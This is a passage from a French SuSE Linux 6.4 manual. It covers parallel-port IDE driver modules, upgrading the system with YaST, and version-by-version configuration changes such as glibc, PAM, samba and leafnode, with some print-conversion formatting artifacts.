Paride sur un port parallèle, il vous faudra tout d'abord charger parport.o (voir para- graphe 14.3.4 page précédente) ! Exemple : modprobe paride Le port parallèle devrait si possible être utilisé en ``mode EPP''. Configurer donc ce mode dans le + BIOS de votre machine. ~ Pilotes de protocoles IDE de bas niveau sur port parallèle Nom du module : .o ______________________________________________________________________________________________ |__Protocole__|______Périphérique_____________________________________________________________|_ |__aten____________|_ATEN_EH-100____________________________________________________(HK)___|__ |__bpck____________|_Microsolutions_backpack________________________________________(US)___|__ |__comm____________|_DataStor_(old-type)_öc_mmuterä__dapter_________________________(TW)__|___ |__dstr____________|_DataStor_EP-2000_______________________________________________(TW)__|___ |__epat____________|_Shuttle_EPAT___________________________________________________(UK)___|__ |__epia____________|_Shuttle_EPIA___________________________________________________(UK)___|__ |__fit2____________|_FIT_TD-2000____________________________________________________(US)___|__ |__fit3____________|_FIT_TD-3000____________________________________________________(US)___|__ |__friq____________|_Freecom_IQ_cable_______________________________________________(DE)___|__ |__frpw____________|_Freecom_Power__________________________________________________(DE)___|__ |__kbic____________|_KingByte_KBIC-951A_and_KBIC-971A_______________________________(TW)__|___ |__ktti____________|_KT_Technology_PHd_adapter______________________________________(SG)___|__ |__on20____________|_OnSpec_90c20___________________________________________________(US)___|__ |__on26____________|_OnSpec_90c26___________________________________________________(US)___|__ Exemple : modprobe epat ~ Disque dur IDE sur port parallèle Nom du module : pd.o ________________________________________ ||__Paramètres__|_____Valeurs_____|______ ||__verbose___________<|wert>________|__ Chargez tout d'abord parport et le pilote de bas niveau (voir para- graphe 14.3.4). Exemple : modprobe pd verbose=1 ~ CD-ROM ATAPI sur port parallèle Nom du module : pcd.o Chargez tout d'abord parport et le pilote de bas niveau (voir para- graphe 14.3.4). Exemple : modprobe pcd ~ Lecteur de disquettes ATAPI sur port parallèle * * 399 14. Paramètres du_noyau___________________________________________________________________________________________________________* *_______________________________________@ Nom du module : pf.o Chargez tout d'abord parport et le pilote de bas niveau (voir para- graphe 14.3.4 page précédente). Exemple : modprobe pf ~ Lecteur de bandes ATAPI sur port parallèle Nom du module : pt.o Chargez tout d'abord parport et le pilote de bas niveau (voir para- graphe 14.3.4 page précédente). Exemple : modprobe pt ~ Périphérique générique ATAPI sur port parallèle Nom du module : pg.o Chargez tout d'abord parport et le pilote de bas niveau (voir para- graphe 14.3.4 page précédente). Exemple : modprobe pg 400 Septième partie SuSE Linux : Mise à jour et particularités * * 401 Chapitre 15 Mise à jour du système et gestion des paquetages 15.1 Mise à jour de SuSE Linux SuSE Linux vous offre la possibilité d'actualiser un système déjà existant sans avoir à procéder à une nouvelle installation complète. Il faut toutefois faire une différence entre l'actualisation de paquetages déterminés et une mise à jour complète du système. Il est bien connu que les logiciels ``s'accroissent'' de version en version. Pour cette raison il est conseillé de vérifier, à l'aide de df , la place déjà occupée sur les différentes partitions avant d'effectuer la mise à jour. Si vous avez l'im- pression que cela risque d'être un peu trop juste, vous devrez absolument faire exécuter une sauvegarde et repartitionner votre disque. Il n'est pas possible de donner une indication d'ordre général au sujet de l'espace disque nécessité dans chaque cas ~ cela dépend du partitionnement qui a déjà été fait et des logiciels sélectionnés ainsi que de la version à partir de laquelle vous passez à SuSE Linux 6.4. _______________________________________________________________________________________________________________________|| |||||||| Il est recommandable de lire le fichier README ou, sous DOS/Windows, ||| | |||||||| le fichier README.DOS. Nous y notons les modifications qui sont venues || | |||||||| || | |||||||| s'ajouter après la mise sous presse du manuel ! || | ||||||||_______________________________________________________________________________________________________________||_ 15.1.1 Travaux préliminaires Avant le début d'une mise à jour, il conviendrait, pour plus de sécurité, de copier les anciens fichiers de configuration sur un support séparé (lecteur de bandes, disque amovible, disquettes, lecteur ZIP). Il s'agit en tout premier lieu des fichiers contenus dans /etc. Par ailleurs, les fichiers de configuration situés au dessous de /var/lib devront aussi être contrôlés (par exemple pour les news ou XDM ). Il pourraient en outre s'avérer utile de copier les données utilisateur actuelles contenues dans /home (le répertoire personnel de l'utilisateur) sur un support de sauvegarde. Avant de commencer la procédure de mise à jour, notez le nom de votre partition racine (root). En lançant la commande terre: # df / * * 403 15. Mise à jour du_système_et_gestion_des_paquetages______________________________________________________________________________* *_______________________________________@ vous pourrez connaître le nom de périphérique de cette partition. Dans ce cas, la partition racine dont vous devez noter le nom serait /dev/sda3 ; voir l'affichage 15.1.1. ________________________________________________________________________________________________________* *________|| | Filesystem 1024-blocks Used Available Capacity Mounted on * * | | * * | | /dev/sda3 4167999 3253471 698856 82% / * * | | /dev/sda1 7496 1311 5785 18% /boot * * | | * * | |_______________________________________________________________________________________________________* *________ | affichage à l'écran 15.1.1: Vue d'ensemble avec df L'affichage montre que la partition /dev/sda3 est montée sous / dans le système de fichiers. ________________________________________________________________________________________________________* *________|| | Avant une mise à jour de PostgreSQL (paquetage postgres), il est * * |||| | conseillé, en règle générale, de procéder à un ``vidage'' (angl. dump) de * * ||| | * * ||| | la base de données ; voir page de man de pg_dump (man pg_dump ). Ceci * * ||| | n'est bien sûr nécessaire qui si vous avez effectivement utilisé PostgreSQL * * ||| | * * ||| | avant la mise à jour. * * ||| |_______________________________________________________________________________________________________* *________|||_ Maintenant, vous devez décider si vous voulez effectuer la mise à jour avec le programme YaST1 en mode texte ou avec YaST2 en mode graphique. Cette décision est très simple : Si vous voulez mettre à jour un système SuSE Linux antérieur à la version 6.0, vous devez choisir YaST1 et procéder ainsi qu'il est décrit au paragraphe 15.1.3. La version 6.0 ou une version plus récente peut être mise à jour avec YaST2 . 15.1.2 Mise à jour avec YaST2 Après les travaux préliminaires mentionnés au paragraphe 15.1.1 page précé- dente, amorcez comme il est décrit au chapitre sur l'installation 2.1 page 15. ________________________________________________________________________________________________________* *________|| | Vous ne pouvez effectuer une mise à jour avec YaST2 qu'à partir d'une * * |||| | version SuSE Linux 6.x. Pour des versions plus anciennes (par exemple * * ||| | * * ||| | SuSE Linux 5.3), vous devez utiliser YaST1 . Voir paragraphe 15.1.3. * * ||| |_______________________________________________________________________________________________________* *________|||_ Si vous êtes arrivé au paragraphe 2.1.7 page 19, sélectionnez l'option `Mise à jour'. 15.1.3 Mise à jour avec YaST1 Mise à jour du système de base Comme au cours de l'actualisaton du système de base les composants cen- traux (par exemple les bibliothèques) doivent être échangés, il n'est pas pos- sible d'effectuer cette opération pendant une exécution normale, c'est-à-dire à partir d'un système Linux qui tourne déjà. Vous devez donc démarrer l'environnement de mise à jour ~ en cas normal avec la disquette fournie (disquette d'amorçage) ou directement en entrant 404 _________________________________________________________________________________15.1.__Mise_à_jour_de_SuSE______Linux______* *______________________ manuel à l'invite d'amorçage du noyau ainsi qu'il est décrit de façon détaillée au paragraphe 2.2.1 page 28. Il s'agit essentiellement des étapes suivantes : 1. Tout de suite après l'amorçage du noyau à partir de la disquette d'amor- çage ou du CD de mise à jour, linuxrc sera lancé automatiquement. 2. Dans linuxrc il faudra alors, sous l'option du menu `Configurations', spécifier la langue, l'écran ainsi que le clavier et valider avec `Ok'. 3. Sous l'option du menu `Modules du noyau', les pilotes matériels né- cessaires doivent maintenant être chargés (pour savoir exactement com- ment procéder, reportez-vous à la description de linuxrc à la page 430). 4. Vous pourrez, par les options du menu `Démarrer l'installation / le système' et `Démarrer l'installation', passer à la sélection du support source (voir page 432). 5. Ensuite linuxrc chargera l'environnement de l'installation et ~ ainsi que vous l'avez choisi ~ YaST sera lancé. Dans le menu d'entrée de YaST , sélectionnez l'option `Mise à jour du système Linux existant'. YaST tentera alors de détecter la partition ra- cine et vous présentera le résultat afin que vous fassiez un choix ou que vous validiez. Dans la liste affichée, vous spécifierez votre partition racine qui est celle que vous avez notée précédemment (Exemple : /dev/sda3). Ainsi, vous chargez YaST de lire le contenu du ``vieux'' fstab situé sur cette partition ; YaST monte alors les systèmes de fichiers qui y sont inscrits. Sélectionnez ensuite `Continuer'. Lorsque vous serez revenu au menu principal avec |É________|chap, ce sera au tour de l'option `Mettre à jour le système' (voir paragraphe 3.2 page 82). Le système que vous aviez jusqu'à présent sera analysé par YaST et le résultat de l'analyse sera affiché. Ensuite, les composants centraux de votre système seront actualisés et au cours de cette opération, YaST fera automatiquement une sauvegarde des fichiers que vous avez modifiés depuis la dernière installation. Par ailleurs, les vieux fichiers de configuration seront sauvegardés, le cas échéant, avec l'extension .rpmorig ou .rpmsave (voir paragraphe 15.3.1 page 416). Il sera fait dans /var/adm/inst-log/installation-* un protocole de la procédure d'installation qui pourra être relu à tout moment. Mise à jour du reste du système Une fois le système de base actualisé, vous arriverez dans un mode spécial de mise à jour de YaST . Vous pourrez mettre à jour le reste du système de la manière que vous souhaitez. YaST établit deux listes dans lesquelles il vous sera proposé les paquetages pour lesquels YaST peut reconnaître de façon autonome s'il est utile et pos- sible de procéder à une mise à jour - dans le cas, par exemple, où un paque- tage dépendant aurait subi une modification, ou si le nouveau paquetage a un numéro de version supérieur. Dans la deuxième liste, il vous sera montré les paquetages pour lesquels cela présente des difficultés - dans le cas, par * * 405 15. Mise à jour du_système_et_gestion_des_paquetages______________________________________________________________________________* *_______________________________________@ exemple, où l'ancien paquetage aurait été stocké sans information concernant sa version. Dans ces deux listes, vous pourrez sélectionner ou désélectionner à votre gré les paquetages proposés pour la mise à jour. Lorsque vous démarrerez la mise à jour, les paquetages sélectionnés seront remplacés par la nouvelle version correspondante et il sera fait également une sauvegarde de tous les fichiers que vous avez modifiés depuis la dernière installation. Lorsque cette opération sera effectuée, vous devrez terminer la procédure comme pour une première installation normale. Vous devriez, entre autre, sélectionner un nouveau noyau ; YaST vous proposera cette option. ________________________________________________________________________________________________________* *________|| | Si vous avez l'habitude d'amorcer avec loadlin , vous devez bien sûr co- * * |||| | pier le nouveau noyau et éventuellement votre initrd dans le répertoire * * ||| | * * ||| | loadlin de votre partition DOS ! * * ||| |_______________________________________________________________________________________________________* *________|||_ Si vous ne voulez pas qu'après la mise à jour, lorsque le système sera revenu dans son mode de fonctionnement normal (runlevel standard, voir page 446), YaST soit tout de suite relancé automatiquement afin de terminer les opéra- tions déjà préparées par la mise à jour, vous devrez entrer, à l'invite d'amor- çage : NO_AUTO_SETUP=true Il est judicieux de faire l'entrée NO`AUTO`SETUP=yes, pour le cas où, contre toute attente, des difficultés se présenteraient lors de ce (nouveau) dé- marrage du système. De tels problèmes peuvent survenir si vous intégrez des éléments essentiels du système Linux par le biais d'une carte SCSI PCMCIA. Pour exécuter malgré tout les travaux de configuration prévus, vous pouvez parcourir les étapes suivantes : 1. Spécifiez comme option lors de l'amorçage le paramètre suivant : NO_AUTO_SETUP=true 2. Connectez-vous sous le compte `root' et lancez yast ~nomenu afin de faire effectuer les éventuelles configurations. 3. Lancez /lib/YaST/bootsetup.conf sous le compte `root' et laissez la commande s'éxécuter. Après cela, les choses seront comme elles l'auraient été si tout s'était déroulé normalement. Dans un tel cas, l'utilisateur Linux expérimenté jugera peut-être préférable de ne pas revenir au niveau d'exécution (angl. runlevel) standard mais cherchera, en entrant single à l'invite d'amorçage, de passer directement en mode mono-utilisateur (runlevel 1). 15.1.4 Actualisation des paquetages Indépendamment d'une actualisation globale, vous pouvez bien sûr actualiser à tout moment des paquetages déterminés. Dans la sélection des paquetages de YaST (voir paragraphe 3.4.3 page 95), vous pouvez vous en donner à coeur joie. Si vous sélectionnez pour la mise à 406 _______________________________________________________________________________________15.2.__D'une_version_à_l'autre_______* *______________________ jour un paquetage qui joue un rôle primordial dans le fonctionnement du sys- tème, YaST vous avertira. De tels paquetages devraient être actualisés dans un mode de mise à jour spécial. Par exemple, un grand nombre de paquetages contiennent des ``bibliothèques partagées'' et il est possible qu'elles soient uti- lisées au moment de la mise à jour par des processus en cours. Une mise à jour dans le système en marche aurait alors pour conséquence que ces pro- grammes ne pourraient plus tourner correctement. 15.2 D'une version à l'autre Dans les paragraphes suivants, nous tentons de faire la liste des détails qui ont été modifiés d'une version à l'autre. Cet aperçu vous montre par exemple si des configurations essentielles ont été refaites, si des fichiers de configuration ont été déplacés ou si des programmes connus de longue date se comportent maintenant de façon différente. Cette liste n'est pas exhaustive car elle ne contient que ce qui concerne directement l'utilisateur ou l'administrateur dans son travail quotidien. Nous attirerons ensuite votre attention sur la SDB (base de données support de SuSE) contenue aussi dans le paquetage sdb_en, série doc (voir paragraphe 1.4.1 page 7). Les particularités des différentes versions ainsi que les difficultés qu'elles peuvent engendrer sont présentées sur le serveur WWW dès que ces in- formations nous sont connues. Voir les liens mentionnés ci-dessous. Des mises à jour importantes de différents paquetages sont accessibles sous http: //www.suse.de/en/support/download/updates/. 15.2.1 De 4.x à 5.0 Problèmes et particularités : http://sdb.suse.de/sdb/en/html/maddin_bugs5.html. ~ La gestion des paquetages est passée de TGZ à RPM (voir paragraphe 15.3 page 415). ~ Nouveau Bash (voir dans la SDB les articles http://sdb.suse.de/ sdb/en/html/maddin_bash2.html et http://sdb.suse.de/sdb/ en/html/maddin_inputrc.html). 15.2.2 De 5.0 à 5.1 Problèmes et particularités : http://sdb.suse.de/sdb/en/html/maddin_bugs51.html. ~ LILO 1er cas : Les chargeurs any_b.b et any_d.b sont obsolètes (voir page 126). ~ LILO 2ème cas : Si des difficultés d'amorçage surviennent en relation avec l'adaptateur hôte SCSI Adaptec 2940 (différents modèles), l'option linear ne devrait plus maintenant être placée dans /etc/lilo.conf (voir page 127). ~ Les logiciels ``optionnels'' (par exemple KDE ou Applixware ) sont ins- tallés sous /opt (voir paragraphe 2.8 page 68). * * 407 15. Mise à jour du_système_et_gestion_des_paquetages______________________________________________________________________________* *_______________________________________@ ~ Les descriptions des paquetages ne sont plus imprimées dans le manuel pour des raisons de place ; elles se trouvent sur le premier CD : en alle- mand sous le nom de pkg_German.dvi et pkg_German.ps et en anglais sous le nom de pkg_English.dvi et pkg_English.ps. ~ L'annexe ``conditions matérielles'' n'est plus incluse dans le manuel. Comme alternative, vous trouverez sur le CD ``la base de données des composants CDB'' (angl. Components Database). Elle est disponible en ligne sous http://cdb.suse.de/. ~ Les fichiers m4 de Sendmail se trouvent sous /usr/share/sendmail. ~ Les sources sont compressés en tant que ``Sources RPM'' (voir dans la SDB http://sdb.suse.de/sdb/en/html/ke_source-rpm.html). 15.2.3 De 5.1 à 5.2 Problèmes et particularités : http://sdb.suse.de/sdb/en/html/maddin_bugs52.html. ~ YaST : On peut_parvenir_à la série ALL à partir de la `Sélection des séries' avec |___F|4(= `Reclassement') (voir paragraphe 3.4.3 page 95). ~ Les serveurs XSuSE sont inclus dans les sources officiels de XFree86. Vous utilisez donc maintenant de nouveau le serveur standard de la sé- rie x. Exception : XSuSE_Elsa_GLoria (paquetage xglint) pour cartes graphiques basées sur Glint ou Permedia. ~ Les serveurs X ne sont plus, pour des raisons de sécurité, installés suid root (sans bit s). Le système X Window doit être démarré soit par le Xwrapper via startx , soit par un gestionnaire d'affichage (xdm ou kdm ). ~ Le wuftpd est maintenant placé, en tant que serveur FTP par défaut, dans /etc/inetd.conf (voir dans la base de données http://sdb.suse. de/sdb/en/html/grimmer_ftpd.html). ~ Les options de ps ne sont plus préfixées par `-' ; modifiez en consé- quence vos scripts de shell (voir dans la base de données http://sdb. suse.de/sdb/en/html/maddin_ps52.html). ~ SuSEconfig (voir paragraphe 17.5 page 450) comprend quelques options qui aident à accélérer le travail. 15.2.4 De 5.2 à 5.3 Problèmes et particularités : http://sdb.suse.de/sdb/en/html/bugs53.html. ~ Une première installation ou une mise à jour de SuSE Linux se déroule de façon ``linéaire''. Si vous voulez avoir recours à la ``vieille'' méthode d'installation qui vous laisse de nombreuses possibilités d'intervention, vous devrez choisir, dans l'écran d'accueil de YaST , le mode expert (voir figure 2.6 page 33). ~ En plus de la disquette d'amorçage, il vous est proposé une image de dis- quette modules avec des modules supplémentaires. Vous pouvez y avoir recours si vous possédez un matériel ``exotique''. Voir paragraphe 16.3 page 429. 408 _______________________________________________________________________________________15.2.__D'une_version_à_l'autre_______* *______________________ ~ Tous les serveurs X, classés dans un ordre facile à superviser, se trouvent dans la série xsrv (X-Server) et non plus comme auparavant dans la série x. ~ Pour les cartes et puces graphiques, vous avez à votre disposition les ser- veurs X développés par SuSE : XFCom_3DLabs (paquetage x3dlabs ; au- trefois XSuSE_Elsa_GLoria, paquetage xglint), XFCom_SiS (paque- tage xsis ; autrefois XSuSE_SiS) et XFCom_Cyrix (paquetage xcyrix). ~ Les personnes souhaitant utiliser les programmes terminaux tels que mi- nicom , seyon , et autres, doivent être inscrites dans le groupe `uucp'. Voir http://sdb.suse.de/sdb/en/html/ke_terminal-prog.html. ~ Emacs est disponible en version 20.x. Il convient d'utiliser les fichiers de démarrage également contenus dans /etc/skel. Voir http://sdb. suse.de/sdb/en/html/ke_emacs-update.html. ~ On a supprimé du paquetage jade_dsl les analyseurs syntaxiques et les utilitaires SGML qui ont été regroupés dans un sous-paquetage sp autonome. ~ PostgreSQL (paquetage postgres) est composé de plusieurs sous-pa- quetages (angl. subpackages) : Serveur (engine) de la base de données, initialisation de la base de données et interfaces. 15.2.5 De 5.3 à 6.0 Problèmes et particularités : http://sdb.suse.de/sdb/en/html/bugs60.html. ~ Ainsi qu'il est prévu dans les sources, le noyau d'amorçage est installé dans /boot. Lors de la mise à jour, vous devez veiller à ce que les chemins d'accès soient inscrits de façon correcte dans le fichier /etc/lilo.conf. YaST vous fait une proposition ~ si vous souhaitez continuer à amorcer le vieux noyau, vous devez intervenir dans la procédure de mise à jour et configurer LILO dans ce sens. ~ La bibliothèque de votre système est maintenant la glibc (connue aussi sous le nom de libc6). Lors d'une mise à jour des programmes fournis avec SuSE Linux, vous ne devriez pas en principe rencontrer de difficul- tés. Vous devriez recompiler vos propres programmes après la mise à jour et les lier avec la glibc . Si ce n'est pas possible ~ parce que vous ne dispo- sez pas, par exemple, du code source du programme en question ~ vous pouvez régler ce problème en installant le paquetage shlibs5 (libc5), ce qui permettra aux ``vieux'' programmes de continuer à assumer leur fonction. ~ Pour les paquetages qui offrent des possibilités étendues de configuration, certaines parties de /etc/rc.config ont été transférées dans des fichiers du répertoire /etc/rc.config.d ~ cron est capable d'exécuter des scripts dans les répertoires /etc/cron. hourly, /etc/cron.daily, /etc/cron.weekly et /etc/cron. monthly. La crontab du système dont le nom était /root/bin/cron. daily a été renommée pour devenir /etc/cron.daily/aaa_base (voir page 413). * * 409 15. Mise à jour du_système_et_gestion_des_paquetages______________________________________________________________________________* *_______________________________________@ ~ La version courante de teTeX est disponible avec SuSE Linux. Comme le système TEX est conforme au standard de la hiérarchie des systèmes de fichiers, il est nécessaire de pouvoir disposer sous /var d'environ 15 Mo d'espace disque en supplément. teTeX a été réparti dans plusieurs sous-paquetages . Si quelque chose ``manque'' après une mise à jour, il est recommandable de vérifier, dans la série tex, si tous les paquetages indispensables sont vraiment installés. ~ Les extensionsALTEX, paquetage colortbl et paquetage hyperref, sont désormais incluses dans teTeX et ne sont plus proposées séparément. ~ C News est éliminé de la distribution. Pendant la période de transi- tion, vous pourrez encore trouver le paquetage cnews sur le CD 1 sous unsorted/. À long terme, il serait opportun d'envisager un passage au paquetage inn ou au paquetage leafnode. ~ Les fichiers de configuration de UUCP sont situés dans le répertoire /etc/uucp. ~ Les feuilles de style DocBook peuvent maintenant être trouvées séparé- ment dans le paquetage docbkdsl de la série sgm. 15.2.6 De 6.0 à 6.1 Problèmes et particularités : http://sdb.suse.de/sdb/en/html/bugs61.html. ~ Le CD-ROM contenant le ``système de fichiers live'' ne fait plus partie de la distribution. Vous pouvez l'obtenir séparément contre versement d'une redevance. Vous trouverez des détails techniques concernant ce CD au paragraphe 3.6.4 page 108. ~ Vous trouverez d'autres pilotes, éventuellement nécessaires lors d'une première installation ou d'une mise à jour (lecteurs de CD-ROM pro- priétaires, lecteurs sur port parallèle, PCMCIA) sur la disquette modules fournie en supplément. linuxrc vous demandera en temps voulu d'insérer cette disquette (paragraphe 2.2.3 page 29). ~ L'``interface standard'' pour l'impression par port parallèle est, pour le noyau 2.2.x, /dev/lp0 (voir paragraphe 12.1 page 333). 15.2.7 De 6.1 à 6.2 Problèmes et particularités : http://sdb.suse.de/sdb/en/html/bugs62.html. ~ rpm (voir aussi paragraphe 15.3 page 415) est fourni en version 3.0 et le format de la base de données RPM demeure inchangé. La base de donnée doit être convertie immédiatement après installation de rpm . Si vous effectuez avec YaST une mise à jour régulière du système (de base), la conversion se fera en arrière-plan au moment opportun. ~ La bibliothèque système glibc est maintenant disponible en version 2.1. Dans la mesure du possible, nous fournissons aussi des composants qui permettent de continuer à exécuter des programmes compilés pour la glibc -2.0. Il existe cependant des limites qui se font ressentir lorsque l'on 410 _______________________________________________________________________________________15.2.__D'une_version_à_l'autre_______* *______________________ tente d'accéder à certains symboles internes. En conséquence, vous de- vriez toujours recompiler vos propres programmes. ~ nscd (angl. Name Service Cache Daemon), configuré au moyen du fichier /etc/nscd.conf, dépend aussi de la glibc . Voir la page de man de nscd (man 8 nscd ). ~ Avec la glibc -2.1, le passage aux fichiers de périphériques ``Unix98 PTY'' est maintenant complet ce qui implique que le système de fichiers devpts doit aussi être monté. Ceci est assuré par exemple par l'entrée suivante dans le fichier /etc/fstab : none /dev/pts devpts gid=5,mode=620 0 0 Voir aussi la documentation dans /usr/src/linux/Documentation/ Changes dans les sources du noyau. ~ PAM (angl. Pluggable Authentication Modules) : En plus de /etc/ login.defs, il existe maintenant /etc/securetty, /etc/security/ limits.conf et /etc/security/pam_env.conf (voir page 112). ~ Les configurations concernant la langue peuvent être faites au moyen de variables dans le fichier /etc/rc.config (voir paragraphe 78 page 452 ainsi que http://sdb.suse.de/sdb/en/html/ml_locale_ implementation.html. Si vous ne souhaitez pas recevoir les messages en français, vous pouvez entrer directement, par exemple dans .bashrc : export LANG=C ~ Pour un bon nombre de logiciels, les composants nécessaires au dévelop- pement (bibliothèques, fichiers d'en-têtes et include, etc.) ont été transfé- rés dans des paquetages séparés. Ceci s'était déjà produit dans des ver- sions antérieures. Ces paquetages de développement ne vous sont né- cessaires que si vous souhaitez compiler vous-même des logiciels ~ par exemple des paquetages GNOME récents. Il est normalement possible de reconnaître de tels paquetages de développement à l'extension dev ou d qui suit leur nom : paquetage xformsd, paquetage glibndev, paquetage gtkndev, paquetage imlibdev, paquetage gnlibsd, etc. 15.2.8 De 6.2 à 6.3 Problèmes et particularités : http://sdb.suse.de/sdb/en/html/bugs63.html. ~ Il est proposé des noyaux optimisés de manière différente que vous pou- vez installer. Ces noyaux utilisent ``initrd'' (angl. Initial Ramdisk). Lors de la création de votre propre noyau, vous devez tenir compte de cette condition accessoire. Voir paragraphe 16.2.5 page 427 et http://sdb. suse.de/sdb/en/html/adrian_6.3_boot.html ~ Le nom du fichier de configuration pour les modules du noyau est /etc/ modules.conf (autrefois : /etc/conf.modules). ~ Outre le démon NFS ``Userspace'' (paquetage nfsserv), il existe aussi un démon NFS du noyau (paquetage knfsd). Les fonctions de knfsd semblent assez limitées mais il maîtrise le verrouillage des fichiers qui est indispensable, par exemple, à StarOffice . Positionnez USE_KERNEL_NFSD ou NFS_SERVER dans /etc/rc.config et installez le paquetage qui ré- pond à vos besoins. * * 411 15. Mise à jour du_système_et_gestion_des_paquetages______________________________________________________________________________* *_______________________________________@ ~ Les + pages de man se trouvent sous /usr/share/man ainsi que le requiert le FHS (angl. Filesystem Hierarchy Standard) (voir para- graphe 16.1 page 423). ~ Certains paquetages ont été retirés de la distribution : ~ paquetage gnuhtml : obsolète ; on peut obtenir les documents Info actuels au format HTML à travers le système d'aide SuSE (voir para- graphe 16.4 page 435). ~ paquetage glimpse : une ancienne version se trouve dans le répertoire /unsorted du CD 1. Pour des raisons de copyright, nous ne pouvons pas fournir la plus récente version avec SuSE Linux. ~ paquetage lxpoint : ~ Tcl/Tk est proposé dans des versions récentes avec de nouvelles descrip- tions de paquetages. Tcl/Tk 8.0 est la version standard. ~ OSS (angl. Open Sound System) est disponible pour machines multipro- cesseurs. Il s'agit, pour être plus précis, du paquetage opso et du paque- tage opsod_up ainsi que du paquetage opso_smp et du paquetage op- sodsmp. Voir http://sdb.suse.de/sdb/en/html/oss-smp.html. ~ La configuration de sendmail a été déplacée du fichier /etc/rc.config vers le fichier. Voir http://sdb.suse.de/sdb/en/html/mneden_6. 3_sendmail.html. /etc/rc.config.d/sendmail.rc.config ~ Pour des raisons de sécurité, WU-FTPD (paquetage wuftpd, série n) n'est plus installé lors de la sélection standard. ~ À partir de la version 1.9.2 de leafnode , le répertoire des fichiers de confi- guration a été changé. Ces fichiers se trouvent maintenant sous /etc/ leafnode et non plus sous /usr/lib/leafnode. Si vous avez modifié votre fichier de configuration, la copie de sauve- garde se trouve sous /usr/lib/leafnode/config.rpmsave. Reprenez manuellement vos modifications dans le nouveau fichier de configuration. Attention : Si vous effectuez une mise à jour à partir d'une ancienne version (antérieure à 1.9.3), exécutez tout d'abord le script shell /usr/ doc/packages/leafnode/update.sh : terre: # cd /usr/doc/packages/leafnode terre:/usr/doc/packages/leafnode # ./update.sh \ /var/spool/news/ /etc/leafnode /var/lock/news/fetchnews.lck L'organisation du fichier groupinfo et de quelques autres fichiers se trouve ainsi modifiée (groupinfo n'est plus classé en tenant compte de la casse des lettres. Si quelque chose ne fonctionne pas, vous trouverez le vieux fichier sous /var/spool/news/leaf.node/groupinfo.old. Lorsque le script aura été exécuté avec succès, vous pourrez effacer ce fichier (.old). Remarque : Depuis la version 1.9.3, le programme /usr/sbin/fetch a pour nom /usr/sbin/fetchnews . Vous devez donc modifier dans ce sens les ``cronjobs'' et divers scripts tels que par exemple /etc/ppp/ ip-up. Pour l'installation de leafnode voir paragraphe 6.9 page 208. 412 _______________________________________________________________________________________15.2.__D'une_version_à_l'autre_______* *______________________ ~ MySQL tourne sous l'UID `mysql' et le GID `daemon' afin de garantir une plus grande sécurité. ~ Fortify se trouve sous /opt/fortify et peut être désinstallé après utili- sation. 15.2.9 De 6.3 à 6.4 Problèmes et particularités : http://sdb.suse.de/sdb/en/html/bugs63.html. ~ Noyau : Le paquetage kernmod et le paquetage kernmods ne sont plus in- dispensables. Les modules du noyau optimisés sont installés, ``du même coup'', avec le noyau sélectionné (voir 3.6.2 page 104). Les fichiers de configuration du noyau installé sont situés dans /boot sous les noms de vmlinuz.config-pentium (exemple !), vmlinuz.autoconf.h et vmlinuz.version.h. Si vous le désirez, YaST copiera ces fichiers dans l'arborescence des sources du noyau. ~ Inscrivez des shells de login valides dans le fichier /etc/shells. Voir la refman[5]shells. S'il est assigné /bin/true à un utilisateur, celui-ci ne pourra se connecter que par le biais du système X Window. Il n'aura pas de shell. /bin/false comme ``shell de login'' empêche toute connexion. ~ paquetage aaa_base : Les tâches quotidiennes de maintenance du sys- tème ont été réparties entre plusieurs scripts pour rendre les choses plus claires. Dans /etc/cron.daily, il existe maintenant, en plus de aaa_ base, les composants backup_rpmdb, clean_catman, clean_core, clean_instlog, clean_tmp, do_mandb, rotate_logs et updatedb ~ reconnaissables à leur préfixe aaa_base_. Outre cela, aaa_base lit cron.daily.local dans lequel vous pouvez ajouter vos propres ex- tensions. Au sujet du système cron , reportez-vous au paragraphe 16.6.1 page 442. ~ Une version plus récente de tar (tar ) est fournie. Le programme se com- porte différemment lors du remplacement des données lorsque les fichiers sont extraits. Si l'ancien mode vous est indispensable, utilisez l'option --overwrite . ~ Presque tous les programmes contenus dans le paquetage nkita et le pa- quetage nkitb se présentent dans une nouvelle version. traceroute a été transféré dans le paquetage nkitb. Certains programmes sont déjà ``prêts à affronter IPv6''. Vous devez donc veiller à ce que le DNS soit correc- tement configuré ~ sinon il peut arriver qu'il soit nécessaire d'attendre le timeout du DNS pour les requêtes IPv6. ~ paquetage samba : Avec la mise à jour vers la version 2.0.6, la syntaxe de la commande smbmount a été modifiée ! smbmount doit être invoqué par le script shell /sbin/mount.smbfs qui doit lui-même être invoqué par mount . Exemple de commande : terre: # mount -t smbfs -o username=uname,password=passwd \ //smbserv/share /destination ~ paquetage postfix : De nouvelles possibilités de configuration sont ve- nues s'ajouter. Les variables de démarrage ont été transférées dans /etc/ * * 413 15. Mise à jour du_système_et_gestion_des_paquetages______________________________________________________________________________* *_______________________________________@ rc.config.d/postfix.rc.config. Voir aussi le paragraphe 17.5 page 450. ~ Le paquetage squid, c'est-à-dire la version 1 du serveur proxy WWW, n'est plus inclus. Comme on peut considérer comme stable la version 2.x qui s'est maintenant établie, il est conseillé de l'adopter. Pendant la mise à jour, le paquetage squid n'est pas remplacé automatiquement par le paquetage squid2. Sauvegardez l'ancien fichier de configuration, dés- installez ensuite le paquetage squid et installez le paquetage squid2. Vous pouvez maintenant démarrer avec les nouveaux fichiers et refaire vos propres modifications ~ vous trouverez un complément d'information sous http://squid.nlanr.net. ~ Le client DHCP recommandé est contenu dans le paquetage dhcpcd. Le paquetage dhclient continue à être fourni pour certains cas particuliers. ~ Pour des raisons de sécurité, l'accès FTP anonyme n'est plus autorisé automatiquement. Pour qu'avec le démon FTP in.ftpd l'accès ano- nyme FTP soit autorisé, le caractère de commentaire `#' doit être sup- primé devant la ligne : auth sufficient /lib/security/pam_ftp.so ~ Modification du mot de passe avec PAM (angl. Pluggable Authentication Modules) : pam_unix peut aussi modifier des mots de passe NIS et inter- prète les ``hashes'' md5 comme étant un mot de passe. Attention ~ voir le paragraphe 3.6.7 page 112. Il existe maintenant aussi un nouveau module pam_pwcheck qui se charge de la vérification des nouveaux mots de passe. L'ancienne entrée password required /lib/security/pam_unix.so #strict=false doit être modifiée ~ en une seule ligne, ou avec une barre oblique inversée (\) en fin de ligne : password required /lib/security/pam_pwcheck.so \ nullok #use_cracklib password required /lib/security/pam_unix.so \ nullok use_first_pass use_authtok Cette intervention manuelle n'est indispensable que dans le cas où rpm ne peut pas modifier lui-même les fichiers de configuration pendant la mise à jour du fait que l'administrateur système y a apporté ses propres modifications. Ceci s'applique aussi à tous les fichiers de configuration de PAM 